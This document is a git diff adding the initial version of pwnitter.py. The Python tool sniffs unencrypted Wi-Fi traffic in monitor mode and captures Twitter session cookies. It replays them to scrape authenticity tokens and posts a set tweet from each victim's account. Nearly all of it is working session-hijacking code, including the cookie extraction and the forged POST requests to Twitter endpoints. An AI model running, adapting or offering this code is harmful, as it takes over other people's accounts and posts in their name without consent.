Initial checkin
[pwnitter] / pwnitter.py
diff --git a/pwnitter.py b/pwnitter.py
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+#!/usr/bin/env python
+# On Linux (as root):
+#  * apt-get install libpcap0.8 python-pypcap python-dpkt
+#  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
+#  * ./idiocy.py -i mon0
+            
+import dbus.service
+import dbus.mainloop.glib
+import getopt, sys, pcap, dpkt, re, httplib, urllib
+import socket
+import time
+import gobject
+import select
+import subprocess
+
+status = 'I browsed twitter insecurely on #fossdotin  and all I got was this lousy tweet.'
+
+def usage(): 
+    print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
+    sys.exit(1)
+
+NAME = 'de.cryptobitch.muelli.Pwnitter'
+
+class Pwnitter(dbus.service.Object):
+    def __init__(self, bus, object_name, device='mon0'):
+        super(Pwnitter, self).__init__(bus, object_name)
+        self.device = device
+        
+        self.status = status
+        self.is_running = False
+
+    @dbus.service.method(NAME,
+                         in_signature='', out_signature='')
+    def Start(self, device='mon0'):
+        # FIXME: Prevent double Start()
+        cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
+        subprocess.call(cmd)
+        cmd = '/sbin/ifconfig mon0 up'.split()
+        subprocess.call(cmd)
+        self.is_running = True
+        try:
+            self.cap = pcap.pcap(device)
+        except OSError, e:
+            print "Error setting up %s" % device
+            raise e
+        self.cap.setfilter('dst port 80')
+        gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent))
+    
+    @dbus.service.signal(NAME)
+    def MessageSent(self, who):
+        print "Emitting MessageSent"
+        return who
+        return False
+        pass
+
+    @dbus.service.method(NAME,
+                         in_signature='s', out_signature='')
+    def SetMessage(self, message):
+        self.status = message
+        
+    @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
+                         in_signature='', out_signature='s')
+    def GetMessage(self):
+        return self.status
+
+    @dbus.service.method(NAME,
+                         in_signature='', out_signature='')
+    def Stop(self):
+        self.is_running = False
+        print "Receive Stop"
+        cmd = '/sbin/ifconfig mon0 down'.split()
+        subprocess.call(cmd)
+        cmd = '/usr/sbin/iw dev mon0 del'.split()
+        subprocess.call(cmd)
+        loop.quit()
+
+
+    def pwn(self, device, tweeted_callback=None):
+        processed = {}
+        if self.is_running: # This is probably not needed, but I feel better checking it more than too less
+            #for ts, raw  in self.cap: # This blocks. Which is unfortunate if the application wants to exist
+            cap_fileno = self.cap.fileno()
+            rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5)
+            #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist)
+            if cap_fileno in rlist:
+                ts, raw = self.cap.next()
+                eth = dpkt.ethernet.Ethernet(raw)
+                #print 'got a packet'  
+                # Depending on platform, we can either get fully formed packets or unclassified radio data
+                if isinstance(eth.data, str):
+                    data = eth.data
+                else:
+                    data = eth.data.data.data
+
+                hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
+                if hostMatches:
+                    print 'Host matched'
+                    host = hostMatches.group(1)
+
+                    cookieMatches = re.search('Cookie: ([^\n]+)', data)
+                    if cookieMatches:
+                        cookie = cookieMatches.group(1)
+
+                        headers = {
+                            "User-Agent": "Mozilla/5.0",
+                            "Cookie": cookie,
+                        }
+                        
+                        conn = httplib.HTTPSConnection(host)
+                        try:
+                            conn.request("GET", "/", None, headers)
+                        except socket.error, e:
+                            print e
+                        else:
+                            response = conn.getresponse()
+                            page = response.read()
+
+                            # Newtwitter and Oldtwitter have different formatting, so be lax
+                            authToken = ''
+
+                            formMatches = re.search("<.*?authenticity_token.*?>", page, 0)
+                            if formMatches:
+                                authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
+
+                                if authMatches:
+                                    authToken = authMatches.group(1)
+
+                            nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
+                            if not nameMatches:
+                                nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
+       
+                            name = ''
+                            if nameMatches:
+                                name = nameMatches.group(1)
+
+
+                            # We don't want to repeatedly spam people
+                            # FIXME: What the fuck logic. Please clean up
+                            if not ((not name and host != 'mobile.twitter.com') or name in processed):
+                                headers = {
+                                    "User-Agent": "Mozilla/5.0",
+                                    "Accept": "application/json, text/javascript, */*",
+                                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+                                    "X-Requested-With": "XMLHttpRequest",
+                                    "X-PHX": "true",
+                                    "Referer": "http://api.twitter.com/p_receiver.html",
+                                    "Cookie": cookie
+                                }
+
+
+                                print 'Issueing connection'
+                                if host == 'mobile.twitter.com':
+
+                                    params = urllib.urlencode({
+                                        'tweet[text]': self.status,
+                                        'authenticity_token': authToken
+                                    })
+
+                                    conn = httplib.HTTPConnection("mobile.twitter.com")
+                                    conn.request("POST", "/", params, headers)
+
+                                else:
+
+                                    params = urllib.urlencode({
+                                        'status': self.status,
+                                        'post_authenticity_token': authToken
+                                    })
+
+                                    conn = httplib.HTTPConnection("api.twitter.com")
+                                    conn.request("POST", "/1/statuses/update.json", params, headers)
+
+
+                                response = conn.getresponse()
+                                print 'Got response: %s' % response.status
+                                if response.status == 200 or response.status == 302 or response.status == 403:
+
+                                    if name:
+                                        processed[name] = 1
+
+                                    # 403 is a dupe tweet
+                                    if response.status != 403:
+                                        print "Successfully tweeted as %s" % name
+                                        print 'calling %s' % tweeted_callback
+                                        if tweeted_callback:
+                                            tweeted_callback(name)
+                                    else:
+                                        print 'Already tweeted as %s' % name
+
+                                else:
+
+                                    print "FAILED to tweet as %s, debug follows:" % name
+                                    print response.status, response.reason
+                                    print response.read() + "\n"
+                #break # Break after one read packet
+        return self.is_running # Execute next time, we're idle
+    # FIXME: Ideally, check    whether Pcap has got data for us
+
+def main():
+
+    opts, args = getopt.getopt(sys.argv[1:], 'i:h')
+    device = None
+    for o, a in opts:
+        if o == '-i':
+            device = a
+        else:
+            usage()
+    #pwn(device)
+
+
+
+if __name__ == '__main__':
+    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+
+    #session_bus = dbus.SessionBus()
+    session_bus = dbus.SystemBus()
+    name = dbus.service.BusName(NAME, session_bus)
+    pwnitter = Pwnitter(session_bus, '/Pwnitter')
+    #object.Start()
+
+    loop = gobject.MainLoop()
+    print "Running example signal emitter service."
+    # FIXME: This is debug code
+    #gobject.idle_add(pwnitter.MessageSent)
+    
+    loop.run()
+    print "Exiting for whatever reason"
+    #main()